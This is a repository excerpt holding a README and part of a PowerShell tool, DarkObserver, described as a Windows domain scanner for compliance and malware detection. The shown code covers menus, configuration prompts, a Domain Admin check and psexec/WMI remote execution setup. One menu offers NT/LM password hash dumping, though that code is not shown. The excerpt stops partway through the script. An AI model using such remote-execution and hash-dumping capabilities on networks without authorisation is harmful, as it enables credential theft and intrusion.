├── README.md └── darkobserver.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # DarkObserver 2 | Windows PowerShell domain scanning tool 3 | 4 | This script works on any xp+ windows domain. It is a culmination of various scripts to be used for scanning windows networks for compliance as well as detecting malicious activity. 5 | -------------------------------------------------------------------------------- /darkobserver.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Version 2.0 2 | 3 | ############################################ 4 | # START Menu Functions 5 | ############################################ 6 | 7 | Function AsciiArt 8 | { 9 | switch($(Get-Random(6))) 10 | { 11 | 0{ Write-Host @' 12 | 13 | 14 | ______ __ _______ __ 15 | | _ \ .---.-.----.| |--. | _ | |--.-----.-----.----.--.--.-----.----. 16 | |. | \| _ | _|| < |. | | _ |__ --| -__| _| | | -__| _| 17 | |. | \___._|__| |__|__| |. | |_____|_____|_____|__| \___/|_____|__| 18 | |: 1 / |: 1 | 19 | |::.. . / |::.. . | 20 | `------' `-------' 21 | 22 | 23 | '@} 24 | 1{Write-Host @' 25 | 26 | 27 | _ ()_() _ .-. ___ oo_ wWw()_()wWw wWwwWw()_() 28 | /||_ /) (O o|OO) .' ) c(O_O)c (___)_/ _)-< (O)(O o)(O) (O)(O)(O o) 29 | /o_)(o)(O) |^_\||_/ .' ,'.---.`, (O)(O)\__ `. / __)^_\( \ / )/ __)^_\ 30 | / |(\ //\\ |(_)) / / /|_|_|\ \/ _\ `. |/ ( |(_))\ \ / // ( |(_)) 31 | | | ))(__)| | /||\ \ | \_____/ || |_)) _| ( _) | / / \/ ( _) | / 32 | | |///,-. | )|\(/\)\ `. '. `---' .`| |_)),-' |\ \_ )|\\ \ `--' /\ \_ )|\\ 33 | \__/-' ''(/ \) `._) `-...-' (.'-'(_..--' \__|/ \) `-..-' \__|/ \) 34 | 35 | 36 | '@} 37 | 2{Write-Host @' 38 | 39 | 40 | _____ _____ 41 | __|__ |__ ____ _____ __ __ __|__ |__ ______ ______ ______ _____ __ _______ _____ 42 | | \ | \ | || |/ / / \ | > ___| ___| \ \ // ___| | 43 | | \ | \| \| \ | | | < `-.`-.| ___| \\ \//| ___| \ 44 | |______/ __|__|\__\__|\__\__|\__\ \_____/ __|______>______|______|__|\__\\__/ |______|__|\__\ 45 | |_____| |_____| 46 | 47 | 48 | '@} 49 | 3{Write-Host @' 50 | 51 | 52 | \______ \ _____ _______| | __ \_____ \\_ |__ ______ ______________ __ ___________ 53 | | | \\__ \\_ __ \ |/ / / | \| __ \ / ___// __ \_ __ \ \/ // __ \_ __ \ 54 | | ` \/ __ \| | \/ < / | \ \_\ \\___ \\ ___/| | \/\ /\ ___/| | \/ 55 | /_______ (____ /__| |__|_ \ \_______ /___ /____ >\___ >__| \_/ \___ >__| 56 | \/ \/ \/ \/ \/ \/ \/ \/ 57 | 58 | 59 | '@} 60 | 4{Write-Host @' 61 | 62 | 63 | ___ ___ _ 64 | / \__ _ _ __| | __ /___\ |__ ___ ___ _ ____ _____ _ __ 65 | / /\ / _` | '__| |/ / // // '_ \/ __|/ _ \ '__\ \ / / _ \ '__| 66 | / /_// (_| | | | < / \_//| |_) \__ \ __/ | \ V / __/ | 67 | /___,' \__,_|_| |_|\_\ \___/ |_.__/|___/\___|_| \_/ \___|_| 68 | 69 | 70 | '@} 71 | 5{Write-Host @' 72 | 73 | 74 | ____,____,____, __, , ____, ____ ____,____,____,__ _,____,____, 75 | (-| (-/_|(-|__)( |_/ (-/ \(-|__|-(__(-|_,(-|__|-\ /(-|_,(-|__) 76 | _|__// |,_| \,_| \, _\__/,_|__)____)_|__,_| \,_\/ _|__,_| \, 77 | ( ( ( ( ( ( ( ( ( ( ( ( 78 | 79 | 80 | '@} 81 | } 82 | } 83 | 84 | Function Resize #set console size 85 | { 86 | if ($host.Name -eq 'ConsoleHost') 87 | { 88 | $Width = 120 89 | $height = 45 90 | 91 | # buffer size can't be smaller than window size 92 | if ($Width -gt $host.UI.RawUI.BufferSize.Width) { 93 | $host.UI.RawUI.BufferSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($Width, $host.UI.RawUI.BufferSize.Height) 94 | } 95 | 96 | # if width is too large, set to max allowed size 97 | if ($Width -gt $host.UI.RawUI.MaxPhysicalWindowSize.Width) { 98 | $Width = $host.UI.RawUI.MaxPhysicalWindowSize.Width 99 | } 100 | 101 | # if height is too large, set to max allowed size 102 | if ($Height -gt $host.UI.RawUI.MaxPhysicalWindowSize.Height) { 103 | $Height = $host.UI.RawUI.MaxPhysicalWindowSize.Height 104 | } 105 | 106 | # set window size 107 | $host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($Width, $Height) 108 | } 109 | } 110 | 111 | #Change text color to yellow when prompting a user for input 112 | Function ReadYellow 113 | { 114 | [console]::ForegroundColor = "yellow" 115 | $input = Read-Host 116 | [console]::ForegroundColor = "white" 117 | Return $input 118 | } 119 | 120 | #Make temporary directory for scan data before parsing 121 | Function CreateTempDir 122 | { 123 | $ErrorActionPreference = "Stop" 124 | for($i=0; $i -lt 15; $i++) 125 | { 126 | try { 127 | if ((Test-Path $TEMP_DIR -ErrorAction SilentlyContinue) -eq $true) 128 | { 129 | Remove-Item -Recurse -Force "$TEMP_DIR\*" 130 | } 131 | mkdir -Path $TEMP_DIR -Force | Out-Null 132 | break 133 | } catch { 134 | sleep 1 135 | } 136 | } 137 | if($i -eq 30) 138 | { 139 | Write-Host -ForegroundColor Red "Unable to create temporary directory: $TEMP_DIR" 140 | ExitFunction 141 | } 142 | } 143 | 144 | #Check for admin rights and psexec 145 | Function CheckDependancies 146 | { 147 | param($PSScriptRoot) 148 | 149 | #Check that user is a Domain Admin 150 | try { 151 | $admin=([ADSISEARCHER]"samaccountname=$($env:USERNAME)").Findone().Properties.memberof | 152 | Select-String "Domain Admins" 153 | } Catch {} 154 | 155 | if($admin) 156 | { 157 | $Script:AdminPrivs = $true 158 | } 159 | else {$Script:AdminPrivs = $false} 160 | 161 | #Add current directory to path 162 | $env:path = $env:path+";.\" 163 | 164 | #Check for presence of psexec and store to a variable in $scan hash table 165 | try { 166 | if (test-path .\psexec.exe) 167 | { 168 | $script:scan.psexec = Get-Command ".\psexec.exe" -ErrorAction Stop 169 | Return 170 | } 171 | elseif($script:scan.psexec = Get-Command "psexec.exe" -ErrorAction Stop){Return} 172 | 173 | } Catch { #psexec not in path. Check in script directory 174 | if (test-path $PSScriptRoot\psexec.exe) 175 | { 176 | $script:scan.psexec = Get-Command "$PSScriptRoot\psexec.exe" 177 | } 178 | else 179 | { 180 | Write-Warning "Unable to find psexec.exe in your PATH. Payloads will only attempt WMI for remote execution" 181 | Return 182 | } 183 | } 184 | } 185 | 186 | #Initial menu presented to start scans 187 | Function DisplayMenu 188 | { 189 | #keep looping until input is valid 190 | while($true){ 191 | Write-Host " 192 | Choose scan type: 193 | 194 | [1] STANDARD 195 | [2] ADVANCED 196 | 197 | Choice: " -NoNewLine 198 | $ScanType = ReadYellow 199 | switch($ScanType) 200 | { 201 | 1{Clear-Host; if(-not (DisplayStandardMenu)){Return}} 202 | 2{Clear-Host; if(-not (DisplayAdvancedMenu)){Return}} 203 | "h"{Clear-Host; Return} 204 | "home"{Clear-Host; Return} 205 | "x"{ExitFunction} 206 | "exit"{ExitFunction} 207 | default{Write-Host -ForegroundColor Red "Invalid Choice: $ScanType"} 208 | } 209 | } 210 | } 211 | 212 | Function DisplayStandardMenu 213 | { 214 | Write-Host " 215 | Which scan do you want to perform? 216 | 217 | [0] ALL 218 | [1] User Executable Enumeration 219 | [2] USB enumeration 220 | [3] Auto-Run disabled 221 | [4] Start-up Programs 222 | [5] Scheduled tasks 223 | [6] Running Processes 224 | [7] Driver Query 225 | [8] Service Query 226 | [9] Network Connections 227 | [10] Installed Software 228 | [11] Network Shares 229 | [12] Network Shares Permissions 230 | [13] Antivirus Status 231 | [14] Local accounts 232 | [15] Domain accounts 233 | 234 | Choice: " -NoNewLine 235 | $ScanChoice = ReadYellow 236 | Write-Host "" 237 | switch($ScanChoice) 238 | { 239 | "h"{Clear-Host; Return $false} 240 | "home"{Clear-Host; Return $false} 241 | "x"{ExitFunction} 242 | "exit"{ExitFunction} 243 | 12{ 244 | #If network shares permissions is chosen make sure that network shares data is present. 245 | #If Network shares scan has not been run then run it before network shares permissions. 246 | if(-not ((Get-ChildItem "$OUT_DIR\NetworkShares*.csv") -or (Get-ChildItem "$OUT_DIR\CSV\NetworkShares*.csv" -ErrorAction SilentlyContinue))) 247 | { 248 | $ScanChoice = "11,12" 249 | } 250 | } 251 | $null {Return} 252 | } 253 | ParseMenuChoice $ScanChoice 15 | %{ 254 | if($_){ 255 | $Script:ScanChoiceArray.add($_)|Out-Null 256 | } 257 | } 258 | } 259 | 260 | Function DisplayAdvancedMenu 261 | { 262 | While($true) 263 | { 264 | Write-Host " 265 | Which scan do you want to perform? 266 | 267 | [1] File-Type Search 268 | [2] Logged on users 269 | [3] Ping Sweep 270 | [4] Hot-Fix Enumeration 271 | [5] NT/LM password hash dump (Win7+) 272 | [6] File hasher (Win7+) 273 | [7] Virus-Total hash analysis 274 | 275 | Choice: " -NoNewLine 276 | $AdvScanChoice = ReadYellow 277 | 278 | switch ($AdvScanChoice) 279 | { 280 | 1{if(-not (FileTypeSearch)){Return}} 281 | 2{if (-not (LoggedOnUsers)){Return}} 282 | 3{if (-not (PingSweep)){Return}} 283 | 4{ 284 | Write-Host 285 | $Script:ScanChoiceArray.add("16") 286 | Return 287 | } 288 | 5{ 289 | Write-Host 290 | $Script:ScanChoiceArray.add("110") 291 | Return 292 | } 293 | 6{ 294 | Write-Host 295 | $Script:ScanChoiceArray.add("111") 296 | Return 297 | } 298 | 7{if (-not (VTHashAnalysis)){Return}} 299 | 300 | "h"{Clear-Host; return $false} 301 | "home"{Clear-Host; return $false} 302 | "x"{ExitFunction} 303 | "exit"{ExitFunction} 304 | default{Write-Host -ForegroundColor Red "Invalid Choice: $ScanType"} 305 | } 306 | } 307 | } 308 | 309 | Function ParseMenuChoice 310 | { 311 | param($Choice, $TotalChoices) 312 | 313 | #Create a temporary array to store the different comma separated scan choices 314 | $TempChoiceArray = New-Object System.Collections.ArrayList 315 | $Choice = @($Choice.split(",") | %{$_.trim()}) 316 | 317 | #if the array only has 1 item do this 318 | if($Choice.count -eq 1) 319 | { 320 | $TempChoiceArray.Add($Choice)|out-null 321 | 322 | #choice of 0 means perform all scans. 323 | if($TempChoiceArray[0] -eq "0") 324 | { 325 | $TempChoiceArray.Clear() 326 | 327 | #Fill array with values from 1 to total number of choices 328 | for($i=1; $i -le $TotalChoices; $i++){$TempChoiceArray.Add($i)|out-null} 329 | Return $TempChoiceArray 330 | } 331 | } 332 | 333 | else 334 | { 335 | #add each comma separated item to the array 336 | for($i=0; $i -lt $Choice.count; $i++) 337 | { 338 | $TempChoiceArray.Add($Choice[$i]) |out-null 339 | } 340 | } 341 | 342 | #step through each choice in TempChoiceArray 343 | for($i=0; $i -lt $TempChoiceArray.count; $i++) 344 | { 345 | #Test if choice contains a "-" representing a range of numbers (i.e. 4-8) 346 | if ($TempChoiceArray[$i] | select-string "-") 347 | { 348 | #split the range and test that they are digits 349 | $IntRange = ($TempChoiceArray[$i]).split("-") 350 | for($j=0; $j -le 1; $j++) 351 | { 352 | if ( $IntRange[$j] | select-string "^\d$") 353 | { 354 | $IntRange[$j] = [convert]::ToInt32($IntRange[$j], 10) 355 | } 356 | else 357 | { 358 | $invalid = $true 359 | break 360 | } 361 | } 362 | if(-not $invalid) 363 | { 364 | #fill in the numeric values between the range 365 | $IntRange=($IntRange[0] .. $IntRange[1]) 366 | for($j=0; $j -lt $IntRange.count; $j++) 367 | { 368 | #add each item in the integer range to the temp array 369 | $TempChoiceArray.Add($IntRange[$j])|out-null 370 | } 371 | #remove the item that represents the range from the temp array 372 | $TempChoiceArray.Remove($TempChoiceArray[$i])|out-null 373 | 374 | #restart the loop until all choice ranges have been expanded 375 | $i = -1 376 | } 377 | else 378 | { 379 | continue 380 | } 381 | } 382 | } 383 | 384 | for($i=0; $i -lt $TempChoiceArray.count; $i++) 385 | { 386 | if($TempChoiceArray[$i] -match "[0-9]" -and $TempChoiceArray[$i] -notmatch "[a-zA-Z]") 387 | { 388 | #convert to base 10 integer 389 | $TempChoiceArray[$i] = [convert]::ToInt32($TempChoiceArray[$i], 10) 390 | } 391 | else 392 | { 393 | #value is not a number. remove it 394 | Write-Host -ForegroundColor Red "Invalid Choice: $($TempChoiceArray[$i])" 395 | $TempChoiceArray.Remove($TempChoiceArray[$i]) 396 | } 397 | } 398 | 399 | #return sorted array 400 | $TempChoiceArray = $TempChoiceArray | sort 401 | Return $TempChoiceArray 402 | } 403 | 404 | #Get location to save data 405 | Function SetOutFile 406 | { 407 | param($CurrentChoice) 408 | $input = ReadYellow 409 | if(-not $input) #no user input. use current choice 410 | { 411 | #Current choice is users current directory 412 | if($CurrentChoice -eq $(Get-Location).path) 413 | { 414 | $(Get-Location).path+"\Scans${today}" 415 | $(Get-Location).path+"\Scans${today}_TEMP" 416 | $script:OUT_DIR_root = $CurrentChoice 417 | return 418 | } 419 | 420 | #User changed default choice. Make sure choice is full path 421 | else 422 | { 423 | $input = (Get-Item "$CurrentChoice").FullName #full path needed for script to run properly 424 | "${input}Scans${today}" 425 | "${input}Scans${today}_TEMP" 426 | $script:OUT_DIR_root = $CurrentChoice 427 | return 428 | } 429 | } 430 | else #choice changed from currently stored value 431 | { 432 | if(-not (Test-Path $input -PathType Container)) #path must be a directory 433 | { 434 | if(ReturnFunction $input) #User is trying to exit or return to prompt 435 | { 436 | Return $True 437 | } 438 | Else 439 | { 440 | Write-Host -ForegroundColor Red " $input does not exist or is not a directory." 441 | return $false 442 | } 443 | } 444 | else #path is a directory 445 | { 446 | $input = (Get-Item "$input").FullName #full path needed for script to run properly 447 | "${input}Scans${today}" 448 | "${input}Scans${today}_TEMP" 449 | $script:OUT_DIR_root = $input 450 | return 451 | } 452 | } 453 | } 454 | 455 | #Set location/create known good files for data parsing 456 | Function SetKnownGood 457 | { 458 | #known good directory not found create and fill with files 459 | if(-not (Test-Path "$PSScriptRoot\KnownGood" -PathType Container)) 460 | { 461 | mkdir "$PSScriptRoot\KnownGood" |Out-Null 462 | $null|Add-Content "$PSScriptRoot\KnownGood\UserExeSearch.txt" 463 | $null|Add-Content "$PSScriptRoot\KnownGood\USBs.txt" 464 | $null|Add-Content "$PSScriptRoot\KnownGood\StartUpPrograms.txt" 465 | $null|Add-Content "$PSScriptRoot\KnownGood\ScheduledTasks.txt" 466 | $null|Add-Content "$PSScriptRoot\KnownGood\RunningProcs.txt" 467 | $null|Add-Content "$PSScriptRoot\KnownGood\Drivers.txt" 468 | $null|Add-Content "$PSScriptRoot\KnownGood\Services.txt" 469 | $null|Add-Content "$PSScriptRoot\KnownGood\InstalledSoftware.txt" 470 | $null|Add-Content "$PSScriptRoot\KnownGood\RequiredHotFix.txt" 471 | $null|Add-Content "$PSScriptRoot\KnownGood\FileHashes.txt" 472 | $null|Add-Content "$PSScriptRoot\KnownGood\ImageFiles.txt" 473 | $null|Add-Content "$PSScriptRoot\KnownGood\AudioFiles.txt" 474 | $null|Add-Content "$PSScriptRoot\KnownGood\VideoFiles.txt" 475 | $null|Add-Content "$PSScriptRoot\KnownGood\WindowsScriptFiles.txt" 476 | $null|Add-Content "$PSScriptRoot\KnownGood\OutlookDataFiles.txt" 477 | $null|Add-Content "$PSScriptRoot\KnownGood\PasswordFiles.txt" 478 | $null|Add-Content "$PSScriptRoot\KnownGood\ExecutableFiles.txt" 479 | } 480 | 481 | #Directory is present. Make sure each data parsing file exists 482 | if (-not (Test-Path "$PSScriptRoot\KnownGood\UserExeSearch.txt")){ 483 | $null|Add-Content "$PSScriptRoot\KnownGood\UserExeSearch.txt" 484 | } 485 | if (-not (Test-Path "$PSScriptRoot\KnownGood\USBs.txt")){ 486 | $null|Add-Content "$PSScriptRoot\KnownGood\USBs.txt" 487 | } 488 | if (-not (Test-Path "$PSScriptRoot\KnownGood\StartUpPrograms.txt")){ 489 | $null|Add-Content "$PSScriptRoot\KnownGood\StartUpPrograms.txt" 490 | } 491 | if (-not (Test-Path "$PSScriptRoot\KnownGood\ScheduledTasks.txt")){ 492 | $null|Add-Content "$PSScriptRoot\KnownGood\ScheduledTasks.txt" 493 | } 494 | if (-not (Test-Path "$PSScriptRoot\KnownGood\RunningProcs.txt")){ 495 | $null|Add-Content "$PSScriptRoot\KnownGood\RunningProcs.txt" 496 | } 497 | if (-not (Test-Path "$PSScriptRoot\KnownGood\Drivers.txt")){ 498 | $null|Add-Content "$PSScriptRoot\KnownGood\Drivers.txt" 499 | } 500 | if (-not (Test-Path "$PSScriptRoot\KnownGood\Services.txt")){ 501 | $null|Add-Content "$PSScriptRoot\KnownGood\Services.txt" 502 | } 503 | if (-not (Test-Path "$PSScriptRoot\KnownGood\InstalledSoftware.txt")){ 504 | $null|Add-Content "$PSScriptRoot\KnownGood\InstalledSoftware.txt" 505 | } 506 | if (-not (Test-Path "$PSScriptRoot\KnownGood\RequiredHotFix.txt")){ 507 | $null|Add-Content "$PSScriptRoot\KnownGood\RequiredHotFix.txt" 508 | } 509 | if (-not (Test-Path "$PSScriptRoot\KnownGood\FileHashes.txt")){ 510 | $null|Add-Content "$PSScriptRoot\KnownGood\FileHashes.txt" 511 | } 512 | if (-not (Test-Path "$PSScriptRoot\KnownGood\ImageFiles.txt")){ 513 | $null|Add-Content "$PSScriptRoot\KnownGood\ImageFiles.txt" 514 | } 515 | if (-not (Test-Path "$PSScriptRoot\KnownGood\AudioFiles.txt")){ 516 | $null|Add-Content "$PSScriptRoot\KnownGood\AudioFiles.txt" 517 | } 518 | if (-not (Test-Path "$PSScriptRoot\KnownGood\VideoFiles.txt")){ 519 | $null|Add-Content "$PSScriptRoot\KnownGood\VideoFiles.txt" 520 | } 521 | if (-not (Test-Path "$PSScriptRoot\KnownGood\WindowsScriptFiles.txt")){ 522 | $null|Add-Content "$PSScriptRoot\KnownGood\WindowsScriptFiles.txt" 523 | } 524 | if (-not (Test-Path "$PSScriptRoot\KnownGood\OutlookDataFiles.txt")){ 525 | $null|Add-Content "$PSScriptRoot\KnownGood\OutlookDataFiles.txt" 526 | } 527 | if (-not (Test-Path "$PSScriptRoot\KnownGood\PasswordFiles.txt")){ 528 | $null|Add-Content "$PSScriptRoot\KnownGood\PasswordFiles.txt" 529 | } 530 | if (-not (Test-Path "$PSScriptRoot\KnownGood\ExecutableFiles.txt")){ 531 | $null|Add-Content "$PSScriptRoot\KnownGood\ExecutableFiles.txt" 532 | } 533 | 534 | #Fill known good hash table with paths to data files 535 | $script:KnownGood = @{ 536 | UserExe = "$PSScriptRoot\KnownGood\UserExeSearch.txt" 537 | USB = "$PSScriptRoot\KnownGood\USBs.txt" 538 | StartUpProg = "$PSScriptRoot\KnownGood\StartUpPrograms.txt" 539 | SchedTasks = "$PSScriptRoot\KnownGood\ScheduledTasks.txt" 540 | RunningProcs = "$PSScriptRoot\KnownGood\RunningProcs.txt" 541 | Drivers = "$PSScriptRoot\KnownGood\Drivers.txt" 542 | Services = "$PSScriptRoot\KnownGood\Services.txt" 543 | Software = "$PSScriptRoot\KnownGood\InstalledSoftware.txt" 544 | HotFix = "$PSScriptRoot\KnownGood\RequiredHotFix.txt" 545 | Hashes = "$PSScriptRoot\KnownGood\FileHashes.txt" 546 | ImageFiles = "$PSScriptRoot\KnownGood\ImageFiles.txt" 547 | AudioFiles = "$PSScriptRoot\KnownGood\AudioFiles.txt" 548 | VideoFiles = "$PSScriptRoot\KnownGood\VideoFiles.txt" 549 | WindowsScriptFiles = "$PSScriptRoot\KnownGood\WindowsScriptFiles.txt" 550 | OutlookDataFiles = "$PSScriptRoot\KnownGood\OutlookDataFiles.txt" 551 | PasswordFiles = "$PSScriptRoot\KnownGood\PasswordFiles.txt" 552 | ExecutableFiles = "$PSScriptRoot\KnownGood\ExecutableFiles.txt" 553 | } 554 | } 555 | 556 | Function help 557 | { 558 | Write-Host " 559 | Available Options: 560 | conf[c].......Set scan configuration variables 561 | set...........View current configuration 562 | scan[s].......Execute Scan 563 | set-creds.....Input credentials to use for scan (default is current user) 564 | get-hosts.....Generate list of active computers 565 | home[h].......Return to prompt 566 | exit[x].......Return to powershell 567 | " 568 | 569 | } 570 | 571 | #set the hosts that should be scanned 572 | Function ScanHostsFile 573 | { 574 | param($CurrentChoice) 575 | $input = ReadYellow 576 | if(-not $input){$input = $CurrentChoice} #keep current value 577 | 578 | #generate list of all active hosts in domain 579 | if($input -eq "ALL") 580 | { 581 | if($script:ScanDomain -eq $null) 582 | { 583 | Write-Warning "Host-File is required for deployable scans when domain is null" 584 | Return $input 585 | } 586 | else 587 | { 588 | $script:FirstRunComps = $True 589 | Return $input 590 | } 591 | } 592 | 593 | #User input is not valid. Either does not exist or is not a file 594 | elseif(-not (Test-Path $input -PathType Leaf)) 595 | { 596 | if(ReturnFunction $input) #User is trying to exit or return to prompt 597 | { 598 | Return $True 599 | } 600 | Else 601 | { 602 | Write-Host -ForegroundColor Red " $input not found" 603 | } 604 | } 605 | 606 | #User input is valid. Return user input 607 | else 608 | { 609 | $script:FirstRunComps = $True 610 | $script:HostFileModTime = (Get-ChildItem $input).LastWriteTime 611 | Return $input 612 | } 613 | } 614 | 615 | Function OutputFormat 616 | { 617 | param($CurrentChoice) 618 | $input = ReadYellow 619 | if(-not $input){$CurrentChoice; return} 620 | switch($input) 621 | { 622 | "csv"{$input} 623 | "xls"{$input} 624 | "xlsx"{$input} 625 | "xlsb"{$input} 626 | default{ 627 | if(ReturnFunction $input) #User is trying to exit or return to prompt 628 | { 629 | Return $True 630 | } 631 | Else 632 | { 633 | Write-Host -ForegroundColor Red " Choices are: csv, xls, xlsx, xlsb"; return $false 634 | } 635 | } 636 | } 637 | } 638 | 639 | Function ThreadCount 640 | { 641 | param($CurrentChoice) 642 | $ProcNum = (gwmi win32_computersystem).NumberofLogicalProcessors #number of processor cores 643 | $min=1 #minimum number of threads is 1 644 | $max=$ProcNum*2 645 | if($max -lt 8){$max = 8} #maximum number of threads is twice the number of processor cores or 8, whichever is more. 646 | $input = ReadYellow 647 | if(-not $input){[convert]::ToInt32($CurrentChoice); return} 648 | try{ 649 | $input = [convert]::ToInt32($input) 650 | if($input -ge $min -and $input -le $max){$input; return} 651 | else {Write-Host -ForegroundColor Red " Choose a number from $min to $max"; return $false} 652 | } catch { 653 | if(ReturnFunction $input) #User is trying to exit or return to prompt 654 | { 655 | Return $True 656 | } 657 | Else 658 | { 659 | Write-Host -ForegroundColor Red " Choose a number from $min to $max"; return $false 660 | } 661 | } 662 | } 663 | 664 | Function SetScanDomain 665 | { 666 | param($CurrentChoice) 667 | $input = ReadYellow 668 | if(-not $input) 669 | { 670 | if(-not $CurrentChoice){ 671 | #Write-Host -ForegroundColor Red " Domain name cannot be null" 672 | #Write-Warning "Hostname/IP list required for null domain" 673 | Return 674 | } 675 | $script:DistinguishedName = "DC=$($CurrentChoice.Replace('.',',DC='))" #convert fqdn into distinguished name 676 | Return $CurrentChoice 677 | } 678 | 679 | if ($input.split('.').count -eq 1) #input is not an fqdn 680 | { 681 | if(-not $CurrentChoice) 682 | { 683 | $fqdn = $input 684 | } 685 | else 686 | { 687 | for($i=1; $i -lt $CurrentChoice.split('.').count; $i++) 688 | { 689 | $root = $root+'.'+$CurrentChoice.split('.')[$i] #strip the first field off of the current domain 690 | } 691 | $fqdn = "$input$root" #prepend input to current domain 692 | } 693 | } 694 | else 695 | { 696 | $fqdn = $input 697 | } 698 | 699 | $script:DistinguishedName = "DC=$($fqdn.Replace('.',',DC='))" 700 | 701 | try { 702 | if([adsi]::Exists("LDAP://$DistinguishedName")){Return $fqdn} 703 | } catch { 704 | if(ReturnFunction $input){Return $True} 705 | else 706 | { 707 | Write-Host -ForegroundColor Red " Domain cannot be reached: $fqdn" 708 | Return $False 709 | } 710 | } 711 | } 712 | 713 | Function Config #prompt user for required scan variables 714 | { 715 | Write-Host 716 | 717 | #Set default values if variables are not already set 718 | if(-not (Test-Path variable:\ScanHostsFile)){$ScanHostsFile="ALL"} 719 | if(-not (Test-Path variable:\OUT_DIR_root)){$OUT_DIR_root=$(Get-Location).path} 720 | if(-not (Test-Path variable:\OutputFormat)){$OutputFormat="xlsb"} 721 | if(-not (Test-Path variable:\ThreadCount)){$ThreadCount = (gwmi win32_computersystem).NumberofLogicalProcessors} 722 | if(-not (Test-Path variable:\ScanDomain)){ 723 | $ScanDomain = $(([ADSI]"").DistinguishedName) 724 | if($ScanDomain){ 725 | $ScanDomain = $ScanDomain.Replace('DC=','').Replace(',','.') 726 | } 727 | } 728 | if(-not $scan.creds) 729 | { 730 | if($env:USERDOMAIN -eq $env:COMPUTERNAME) 731 | { 732 | $UserDomain = '.' 733 | } 734 | else 735 | { 736 | $UserDomain = $env:USERDOMAIN 737 | } 738 | 739 | } 740 | 741 | while($true) #loop until input is valid 742 | { 743 | Write-Host " Domain [$ScanDomain]: " -NoNewLine #set out file 744 | $ScanDomain_temp = SetScanDomain $ScanDomain 745 | if($ScanDomain_temp -eq $True){Write-Host; Return $False} #User wants to return to prompt 746 | if($ScanDomain_temp) 747 | { 748 | $script:ScanDomain = $ScanDomain_temp 749 | break 750 | } 751 | elseif($ScanDomain_temp -eq $null) 752 | { 753 | $script:ScanDomain = $null 754 | break 755 | } 756 | } 757 | while($true) 758 | { 759 | Write-Host " Data directory [$OUT_DIR_root]: " -NoNewLine #set out file 760 | $OUT_DIR_temp,$TEMP_DIR_temp = SetOutFile $OUT_DIR_root 761 | if($OUT_DIR_temp -eq $True){Write-Host; Return $False} 762 | if($OUT_DIR_temp) #setOutFile was successful 763 | { 764 | $script:OUT_DIR, $script:TEMP_DIR = $OUT_DIR_temp, $TEMP_DIR_temp 765 | $Script:scan.TEMP_DIR = $TEMP_DIR 766 | $script:SCAN.OUT_DIR = $OUT_DIR 767 | break 768 | } 769 | } 770 | while($true) 771 | { 772 | Write-Host " Hosts to scan [$ScanHostsFile]: " -NoNewLine 773 | $ScanHostsFile_temp = ScanHostsFile $ScanHostsFile 774 | if($ScanHostsFile_temp -eq $True){Write-Host; Return $False} 775 | if($ScanHostsFile_temp) 776 | { 777 | $script:ScanHostsFile = $ScanHostsFile_temp 778 | break 779 | } 780 | } 781 | while($true) 782 | { 783 | Write-Host " Output format [$OutputFormat]: " -NoNewLine 784 | $OutputFormat_temp = OutputFormat $OutputFormat 785 | if($OutputFormat_temp -eq $True){Write-Host; Return $False} 786 | if($OutputFormat_temp) 787 | { 788 | $script:OutputFormat = $OutputFormat_temp 789 | break 790 | } 791 | } 792 | while($true) 793 | { 794 | Write-Host " Thread count [$ThreadCount]: " -NoNewLine 795 | $ThreadCount_temp = ThreadCount $ThreadCount 796 | if(($ThreadCount_temp -eq $True) -and (-not ($ThreadCount_temp -eq 1))){Write-Host; Return $False} 797 | if($ThreadCount_temp) 798 | { 799 | $script:ThreadCount = $ThreadCount_temp 800 | $Script:scan.Throttle = $script:ThreadCount 801 | break 802 | } 803 | } 804 | while($true) 805 | { 806 | Write-Host " Set Credentials [y/N]: " -NoNewLine 807 | $credsChoice = ReadYellow 808 | if(($credsChoice -eq 'Y') -or ($credsChoice -eq 'y')) 809 | { 810 | Set-Creds 811 | } 812 | elseif(ReturnFunction $credsChoice) 813 | { 814 | Write-Host; Return $False 815 | } 816 | else 817 | { 818 | $script:scan.creds = $null 819 | } 820 | break 821 | } 822 | Write-Host 823 | $script:ConfigSuccess = $True 824 | Return $True 825 | } 826 | 827 | Function Set-Creds #Get different credential than logged on user. This Functionality is currently not written into this script 828 | { 829 | try{ 830 | $script:scan.creds = Get-Credential $null -ErrorAction Stop 831 | } catch { 832 | $script:scan.creds = $null 833 | Write-Host -ForegroundColor Red "Unable to set credentials" 834 | } 835 | } 836 | 837 | Function CurrentConfig #display currently set scan variables 838 | { 839 | if(-not (Test-Path variable:\ScanDomain)) 840 | { 841 | $ScanDomain = $null 842 | } 843 | if(-not (Test-Path variable:\OUT_DIR_root)) 844 | { 845 | $OUT_DIR_root = $null 846 | } 847 | if(-not (Test-Path variable:\ScanHostsFile)) 848 | { 849 | $ScanHostsFile = $null 850 | } 851 | if(-not (Test-Path variable:\OutputFormat)) 852 | { 853 | $OutputFormat = $null 854 | } 855 | if(-not (Test-Path variable:\ThreadCount)) 856 | { 857 | $ThreadCount = $null 858 | } 859 | if(-not (Test-Path variable:\scan.creds)) 860 | { 861 | if($env:USERDOMAIN -eq $env:COMPUTERNAME) 862 | { 863 | $dname = '.' 864 | } 865 | else 866 | { 867 | $dname = $env:USERDOMAIN 868 | } 869 | $uname = $env:USERNAME 870 | } 871 | else 872 | { 873 | $dname = $scan.creds.GetNetworkCredential().domain 874 | $uname = $scan.creds.GetNetworkCredential().username 875 | } 876 | 877 | Write-Host 878 | Write-Host " Domain: $ScanDomain" 879 | Write-Host " Data directory: $OUT_DIR_root" 880 | Write-Host " Hosts to scan: $ScanHostsFile" 881 | Write-Host " Output format: $OutputFormat" 882 | Write-Host " Thread count: $ThreadCount" 883 | Write-Host " User Credentials: $dname\$uname 884 | " 885 | } 886 | 887 | Function DarkObserver #darkobserver command prompt 888 | { 889 | [console]::ForegroundColor = "white" 890 | Write-Host -ForegroundColor magenta "DarkObserver> " -NoNewLine 891 | $Input = Read-Host 892 | switch($input) 893 | { 894 | "set"{CurrentConfig} 895 | "conf"{Config|out-null} 896 | "c"{Config|out-null} 897 | "scan"{Execute} 898 | "s"{Execute} 899 | "set-creds"{Set-Creds} 900 | "get-hosts"{ 901 | if (-not $script:ConfigSuccess){$script:ConfigSuccess = config} #scan vars have not been configured enter configuration mode 902 | if(-not $script:ConfigSuccess){Return} 903 | 